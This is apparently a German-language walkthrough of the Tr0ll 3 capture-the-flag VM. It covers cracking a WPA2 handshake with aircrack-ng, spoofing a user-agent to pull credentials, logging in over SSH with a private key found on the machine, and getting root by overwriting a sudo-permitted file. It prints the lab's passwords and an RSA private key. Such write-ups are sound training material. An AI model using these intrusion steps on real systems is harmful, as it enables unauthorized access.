Writeup

Tr0ll 3 – Please don’t feed the Troll (Walktrough)

This post is also available in: English

Die dritte Version aus der Tr0ll-Serie von @Maleus21 ist eine klassische Boot-2-Root-VM. Ziel ist es sich durch verschiedene Level von Benutzern zu hangeln, um am Ende Root-Berechtigungen zu erlangen und die Flagge unter /root/flag.txt auszulesen. Im Folgenden fasse ich meinen Lösungsweg für Tr0ll 3 in diesem Writeup zusammen.

Level 0: start

Der Login zum ersten Benutzer start mit dem Passwort here wird nach dem Hochfahren der virtuellen Maschine im Startbildschirm angezeigt.

Tr0ll 3 - Startbildschirm

Ein initialer Portscan mittels nmap zeigt außerdem, dass aktuell ausschließlich SSH auf Port 22 zur Verfügung steht. Der Einfachheit halber können wir uns darüber direkt mit der Maschine verbinden.

basto@Malice:~$ ssh start@192.168.56.101
start@192.168.56.101's password: here
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

start@Tr0ll3:~$ 

Im Home-Verzeichnis des start-Benutzers finden wir die zwei Ordner bluepill und redpill.

start@Tr0ll3:~$ ls -al *
bluepill:
total 12
drwxrwxr-x 2 start start 4096 Jun 18  2015 .
drwx------ 8 start start 4096 Aug 22 12:51 ..
-rw-rw-r-- 1 start start   18 Jun 17  2015 awesome_work

redpill:
total 12
drwxrwxr-x 2 start start 4096 Jun 17  2015 .
drwx------ 8 start start 4096 Aug 22 12:51 ..
-rw-rw-r-- 1 start start   17 Jun 17  2015 this_will_surely_work

In der Datei awesome_work ist lediglich die URL http://bfy.tw/ODa enthalt. Besuchen wir den angegebenen Link, werden wir lediglich auf www.lmgtfy.com (Let me Google that for you) mit dem Query „How do you make a hacker waste time“ weitergeleitet. Es ist also relativ schnell klar, dass diese Information eine Sackgasse ist und nur als Scherz dort platziert wurde.

basto@Malice:~$ curl http://bfy.tw/ODa
<html><body>You are being <a href="http://www.lmgtfy.com/?q=how+do+you+make+a+hacker+waste+time%3F">redirected</a>.</body></html>%   

Im weiteren Verlauf werden uns immer wieder ähnliche Informationen präsentiert, die nur als Ablenkung dienen sollen. Die Maschine macht ihrem Namen also alle Ehre und „trollt“ uns, wo sich die Möglichkeit dazu bietet.

Die Datei this_will_surely_work im redpill-Verzeichnis enthält auf der anderen Seite den Text step2:Password1!. Der erste Instinkt sagt, dass es sich hierbei um die nächste Benutzerkennung handelt. Versuchen wir uns jedoch mit den angegebenen Daten anzumelden, erhalten wir ausschließlich fehlerhafte Authentifizierungsversuche. Auch hierbei handelt es sich lediglich um eine Finte.

Erste Hinweise

Mit find / -type f -perm 0777 2>/dev/null können wir Dateien finden, die unabhängig vom Besitzer für alle Benutzer zu lesen und bearbeiten sind. Dadurch lassen sich die ersten tatsächlichen Hinweise ausfindig machen:

start@Tr0ll3:~$ find / -type f -perm 0777 2>/dev/null
/var/log/.dist-manage/wytshadow.cap
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt

Auf der einen Seite befindet sich unter /var/log/.dist-manage/ die Datei wytshadow.cap. Dies ist anscheinend eine Aufzeichnung eines Netzwerkverkehrs, der unter anderem auch einen WPA2-Handshake enthält.

start@Tr0ll3:~$ tcpdump -r /var/log/.dist-manage/wytshadow.cap
...
23:40:52.736808 Authentication (Open System)-1: Successful
23:40:52.742448 Acknowledgment RA:f8:94:c2:f4:e5:a2 (oui Unknown) 
23:40:52.743986 Authentication (Open System)-2: 
23:40:52.746024 Acknowledgment RA:18:d6:c7:3f:23:89 (oui Unknown) 
23:40:52.748053 Assoc Response AID(1) : PRIVACY : Successful
23:40:52.750120 Acknowledgment RA:18:d6:c7:3f:23:89 (oui Unknown) 
23:40:52.752176 EAPOL key (3) v2, len 95
23:40:52.753704 Acknowledgment RA:18:d6:c7:3f:23:89 (oui Unknown) 
23:40:52.755752 EAPOL key (3) v1, len 117
23:40:52.757806 Acknowledgment RA:f8:94:c2:f4:e5:a2 (oui Unknown) 
23:40:52.759857 EAPOL key (3) v2, len 151

Das Passwort des Benutzers wytshadow lässt sich also wahrscheinlich herausfinden, wenn es uns gelingt, den Handshake zu knacken.

Die Datei gold_star.txt im Verzeichnis /.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/ beinhaltet zahlreiche 10-Zeichen-lange Strings und dient uns für die Wiederherstellung des Passwortes als Wörterbuch.

aircrack-ng -w gold_star.txt wytshadow.cap
aircrack-ng Ausgabe mit geknacktem Passwort

aircrack-ng spuckt das korrekte Passwort gaUoCe34t1 in kurzer Zeit aus und mit den neuen Zugangsdaten können wir uns nun als Benutzer wytshadow anmelden:

start@Tr0ll3:~$ su wytshadow
Password: gaUoCe34t1
wytshadow@Tr0ll3:~$

Level 1: wytshadow

Durchsuchen wir das Home-Verzeichnis von wytshadow, sticht sofort die Datei oohfun ins Auge. Dort wurde das SUID-Bit gesetzt, wodurch wir das Programm mit den Rechten des Benutzers genphlux ausführen könne.

wytshadow@Tr0ll3:~$ ls -al
total 48
drwx------  5 wytshadow wytshadow 4096 Aug 22 09:21 .
drwxr-xr-x 10 root      root      4096 Jun 19  2015 ..
-rw-------  1 wytshadow wytshadow  297 Aug 22 09:21 .bash_history
-rw-r--r--  1 wytshadow wytshadow  220 Jun 17  2015 .bash_logout
-rw-r--r--  1 wytshadow wytshadow 3637 Jun 17  2015 .bashrc
drwx------  2 wytshadow wytshadow 4096 Jun 17  2015 .cache
drwx------  3 wytshadow wytshadow 4096 Aug  1 01:50 .gnupg
drwxrwxr-x  3 wytshadow wytshadow 4096 Aug 22 06:40 .local
-rwsrwxrwx  1 genphlux  root      8566 Jun 17  2015 oohfun
-rw-r--r--  1 wytshadow wytshadow  675 Jun 17  2015 .profile

Wenn wir die Datei aber letztendlich aufrufen, erhalten wir lediglich durchgehend den Output iM Cr@zY L1k3 AAA LYNX:

wytshadow@Tr0ll3:~$ ./oohfun 
iM Cr@zY L1k3 AAA LYNX
iM Cr@zY L1k3 AAA LYNX
...

Untersuchen wir den Dateiinhalt mittels strings, können wir feststellen, dass darin nachfolgender Aufruf enthalten ist:

/lol/bin/run.sh -b 0.0.0.0

Leider können wir die run.sh-Datei nicht weiter beeinflussen, da das Verzeichnis lol ebenfalls dem Benutzer genphlux zugeordnet ist.

wytshadow@Tr0ll3:~$ ls -al / | grep lol
drwsr-x--x   8 genphlux root     4096 May 22  2009 lol

Alle Befehle, die wir mit Root-Berechtigungen ausführen können, lassen sich unter Linux mit dem Befehl sudo -l auflisten.

wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow:
Matching Defaults entries for wytshadow on Tr0ll3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wytshadow may run the following commands on Tr0ll3:
    (root) /usr/sbin/service nginx start

Hier zeigt sich, dass der Benutze wytshadow den Dienst für den nginx Webserver starten darf, was wir auch direkt machen:

wytshadow@Tr0ll3:~$ sudo service nginx start

Ein lokaler Check der offenen Ports mittels netstat bestätigt das erfolgreiche Starten des Webservers, da jetzt zusätzlich Port 8080 geöffnet wurde.

wytshadow@Tr0ll3:~$ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN

Besuchen können wir die Webseite jedoch nicht, da alle Anfragen mit einem 403 Forbidden abgewiesen werden.

basto@Malice:~$ curl 192.168.56.101:8080
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>

Um die Ursache dafür herauszufinden, überprüfen wir die Standardkonfiguration des nginx-Webservers. Dazu öffnen wir als die Datei /etc/nginx/sites-enabled/default. Gleich zu Beginn fällt uns die nachfolgende Passage darin auf:

# Default server configuration
#
server {
        listen 8080 default_server;
        listen [::]:8080 default_server;
            if ($http_user_agent !~ "Lynx*"){
               return 403;
}

Falls die Anfragen nicht den User-Agent Lynx beinhalten, antwortet der Server immer mit einem 403-Fehler. Da die Konfigurationsdatei leider schreibgeschützt ist, können wir an dem Verhalten nichts ändern. Jedoch können wir mittels curl unseren eigenen User-Agent-Header hinzufügen, welcher der erwarteten Form entspricht.

basto@Malice:~$ curl -H "User-Agent: Lynx Basto" 192.168.56.101:8080
genphlux:HF9nd0cR!

Die erhaltenen Zugangsdaten können wir nun verwenden, um uns als Benutzer genphlux anzumelden.

wytshadow@Tr0ll3:~$ su genphlux
Password: HF9nd0cR!
genphlux@Tr0ll3:~$

Level 2: genphlux

Wie immer schauen wir uns zuerst das Home-Verzeichnis des neuen Benutzers an.

genphlux@Tr0ll3:~$ ls -al
total 52
drwx------  5 genphlux genphlux 4096 Aug 22 10:09 .
drwxr-xr-x 10 root     root     4096 Jun 19  2015 ..
-rw-------  1 genphlux genphlux  273 Aug 22 10:09 .bash_history
-rw-r--r--  1 genphlux genphlux  220 Jun 17  2015 .bash_logout
-rw-r--r--  1 genphlux genphlux 3637 Jun 17  2015 .bashrc
drwx------  2 genphlux genphlux 4096 Jun 17  2015 .cache
drwx------  3 genphlux genphlux 4096 Aug  1 04:03 .gnupg
drwxrwxr-x  3 genphlux genphlux 4096 Aug 22 09:22 .local
-rw-rw-r--  1 genphlux genphlux 1675 Jun 18  2015 maleus
-rw-r--r--  1 genphlux genphlux  675 Jun 17  2015 .profile
-rw-------  1 genphlux genphlux 5649 Jun 17  2015 .viminfo
-rw-rw-r--  1 genphlux genphlux  931 Aug  2 15:56 xlogin

Die Datei xlogin ist lediglich eine HTML-Seite, die ein Directory-Listing für das Web-Verzeichnis /xlogin darstellt. Dies bringt uns aber nicht weiter.

xlogin

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /xlogin</title>
 </head>
 <body>
<h1>Index of /xlogin</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[   ]"></td><td><a href="maleus">maleus</a></td><td align="right">2015-06-18 00:27  </td><td align="right">1.6K</td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

Im Gegensatz dazu ist die Datei maleus deutlich spannender. Darin befindet sich allem Anschein nach ein RSA-Schlüssel, höchstwahrscheinlich für eine SSH-Verbindung.

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwz5Hwer48U1t/Qi9JveuO+Z7WQlnmhOOs/2pZ0he/OyVsEFv
DsGib1wu/N8t+7h9JZK9x2GL33TXQBVCy6TxES90F1An+2DSza6lJPCyhcgK/DEp
yxSVt32A+lFo+PQJV6QYZlpRkek0MjUw5y/E5qZwdBypC55C4QzgQBN3+Lnuhuk4
u52xcK9/6/2N7JZCNYA21Tp1Uy9mty/65IT7OwKJd2rXp3O6rZYTD/vPl+Rt/LtN
gA1DbDODq0NCmvcrZL+SafSj+MABA3LCERw01gA4RMdyxJU6hVfjeSKOdwDQOGWe
eAVCL2GR/frwyf+rfN1kbpdw/RGXWWwVANMcaQIDAQABAoIBAGNudFztrZo2NK2I
pcwSl0kqN+dAQuLU0vgXVw6ibL2iPxlkOYrqUi8kY0mk32YyrolUEhJYO0Ox3W1l
Zn8PoTV/VUAKMlJzHOhi6PfHHSPEnNOSthYWhajM4cKZczxWC+v2RfbaSHBms45e
SGl0inJskRiRAAZKswSp6gq334FrS6Dwy1tiKvzCfR3kLQghV5U/PhFZCsq3xvAw
eXPx2toNtU2gYSGrKWTep+nAKM1neBxeZAujYuN4xJ5/Th2y0pyTvX9WEgzKPJ/G
PlYZYCUAKPCbabYSuZckjeiN1aS52AIFedECBfAIezOr08Wx/bI/xCOgBxrQgPrK
kRvlOYECgYEA5eCIEfdLhWdg3ltadYE0O5VAoXKrbxYWqSyw1Eyeqj0N1qD9Rsvg
jIQJazV5JcVBIF54f/jlCJozR5s5AELrY0Z/krea1lF5ecOSUQE3tp94298xzO3g
7BBe3g6pD56Cya/Vo0+YVQmAnBHLh6QIYvUUXXN2IyceT8fhEx5JA+sCgYEA2W4z
KKMVAdPxKcjVks1zdGmVlj1RsUkakYuLWV3jQe2w1naJrc37Khy5eWZaRJhXqeBb
1cvTMa+r/BF7jvItxglWoBJqXDxKI0a6KqWtloZL2ynoaBkAhR2btob6nSN63Bpg
ZYJKY1B5yYbDHK4k6QT7atn2g6DAv/7sW6skj/sCgYA16WTAIek6TjZvr6kVacng
N27C7mu6T8ncvzhxcc68SjlWnscHtYTiL40t8YqKCyrs9nr4OF0umUtxfbvujcM6
syv0Ms9DeDQvFGjaSpjQYbIsjrnVP+zCMEyvc2y+1wQBXRWTiXVGbEYXVC0RkKzO
2H+AMzX/pIr9Vvk4TJ//JQKBgFNJcy9NyO46UVbAJ49kQ6WEDFjQhEp0xkiaO3aw
EC1g7yw3m+WH0X4AIsvt+QXtlSbtWkA7I1sU/7w+tiW7fu0tBpGqfDN4pK1+mjFb
5XKTXttE4lF9wkU7Yjo42ib3QEivkd1QW05PtVcM2BBUZK8dyXDUrSkemrbw33j9
xbOhAoGBAL8uHuAs68ki/BWcmWUUer7Y+77YI/FFm3EvP270K5yn0WUjDJXwHpuz
Fg3n294GdjBtQmvyf2Wxin4rxl+1aWuj7/kS1/Fa35n8qCN+lkBzfNVA7f626KRA
wS3CudSkma8StmvgGKIU5YcO8f13/3QB6PPBgNoKnF5BlFFQJqhK
-----END RSA PRIVATE KEY-----

Wir versuchen uns also nun mit dem Private Key für den Benutzer maleus anzumelden. Der SSH-Service verhindert jedoch, dass für die Anmeldung eine Zertifikatsdatei verwendet werden kann, die für andere Benutzer als den eigenen lesbar ist. Als Folge dessen müssen wir im Vorfeld noch die Dateiberechtigungen weiter einschränken.

genphlux@Tr0ll3:~$ chmod 600 maleus 
genphlux@Tr0ll3:~$ ssh -i maleus maleus@192.168.56.101
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  <https://help.ubuntu.com>
 * Management:     <https://landscape.canonical.com>
 * Support:        <https://ubuntu.com/advantage>

Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings
maleus@Tr0ll3:~$

Level 3.1: maleus (private key)

Da wir noch keine Kenntnisse zum tatsächlichen Benutzerkennwort haben, können wir uns auch aktuell nicht die ausführbaren Root-Befehle mittels sudo -l auflisten lassen. Im Home-Verzeichnis von maleus finden sich jedoch bereits mehrere Dateien, die unsere Aufmerksamkeit verdienen.

maleus@Tr0ll3:~$ ls -al
total 80
drwx------  6 maleus maleus 4096 Dec 19 07:05 .
drwxr-xr-x 10 root   root   4096 Jun 19  2015 ..
-rw-------  1 maleus maleus   42 Dec 19 07:05 .bash_history
-rw-r--r--  1 maleus maleus  220 Jun 17  2015 .bash_logout
-rw-r--r--  1 maleus maleus 3637 Jun 17  2015 .bashrc
drwx------  2 maleus maleus 4096 Jun 17  2015 .cache
-rwxrwxr-x  1 maleus maleus   37 Aug 22 10:04 dont_even_bother
drwx------  3 maleus maleus 4096 Aug  1 03:48 .gnupg
-rw-rw-r--  1 maleus maleus  145 Jun 18  2015 index.html
drwxrwxr-x  3 maleus maleus 4096 Aug 22 09:47 .local
-rw-r--r--  1 maleus maleus  675 Jun 17  2015 .profile
drwx------  2 maleus maleus 4096 Jun 18  2015 .ssh
-rw-------  1 maleus maleus 1301 Aug  2 16:02 .viminfo
-rw-rw-r--  1 maleus maleus  931 Aug 22 09:55 xlogin

Wenn wir uns den Quellcode der index.html Datei ansehen, offenbart sich anscheinend direkt der nächste Hinweis.

index.html

<html>
<body>
<img src="pic.jpg">
</body>
</html>
<!-- Wow, looking at the source code, you are truly l33t! The next step uses fido:x4tPl! >

Ein Login für den Benutzer fido ist mit dem angezeigten Passwort leider nicht möglich. Es scheint, als hätte hier der Troll erneut für Verwirrung gesorgt.

In ähnlicher Weise werden wir mit der Datei dont_even_bother in die Irre geführt. Führen wir diese aus, werden wir zur Eingabe eines Passwortes aufgefordert.

maleus@Tr0ll3:~$ ./dont_even_bother

 Enter the password : 

 Wrong Password

Ein kurzer Blick auf die in der Datei enthaltenen Zeichenketten liefert uns das geforderte Kennwort:

maleus@Tr0ll3:~$ strings dont_even_bother
Enter the password : 
xl8Fpx%6

maleus@Tr0ll3:~$ ./dont_even_bother

 Enter the password : xl8Fpx%6

 Correct Password 

 Your reward is just knowing you did it! :-P

Sieht also aus, als wären wir immer noch nicht weiter gekommen.

Die Datei .viminfo beinhaltet die History-Einträge für die letzten Befehle der einzelnen Kategorien, die im Texteditor Vim eingegeben wurden. Unter anderem findet sich in der vorliegenden Datei auch der nachfolgende Ausschnitt, der die Eingabe eines Benutzerpasswortes zu beinhalten scheint:

.viminfo

# Registers:
""1     LINE    0
        passwd
"2      LINE    0
        B^slc8I$
"3      LINE    0
        passswd

Level 3.2: maleus (password)

Wenn wir jetzt erneut versuchen, den Befehl sudo -l mit dem angezeigten Kennwort auszuführen, erhalten wir unseren nächsten Hinweis.

maleus@Tr0ll3:~$ sudo -l 
[sudo] password for maleus: 
Matching Defaults entries for maleus on Tr0ll3:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User maleus may run the following commands on Tr0ll3:
    (root) /home/maleus/dont_even_bother

Wie wir sehen, hat der Anwender maleus die Möglichkeit, die Datei /home/maleus/dont_even_bother mit den Berechtigungen des Root-Benutzers auszuführen.

Mit der aktuellen Version der Datei können wir zwar nicht viel anfangen, aber unser Benutzer ist berechtigt, diese zu verändern. Wir überschreiben also dont_even_bother mit dem Befehl zum Starten einer neuen Shell.

maleus@Tr0ll3:~$ echo "bash" > dont_even_bother

Anschließend führen wir den überschriebenen Code mit Sudo-Berechtigungen aus.

maleus@Tr0ll3:~$ sudo ./dont_even_bother
root@Tr0ll3:~# id
uid=0(root) gid=0(root) groups=0(root)

Level 4: root

Als letzten Schritt können wir nun mit den Root-Berechtigungen noch den Inhalt der Flagge auslesen:

root@Tr0ll3:~# cat /root/flag.txt 
You are truly a Jedi!

Twitter Proof:

Pr00fThatTh3L33tHax0rG0tTheFl@g!!

@Maleus21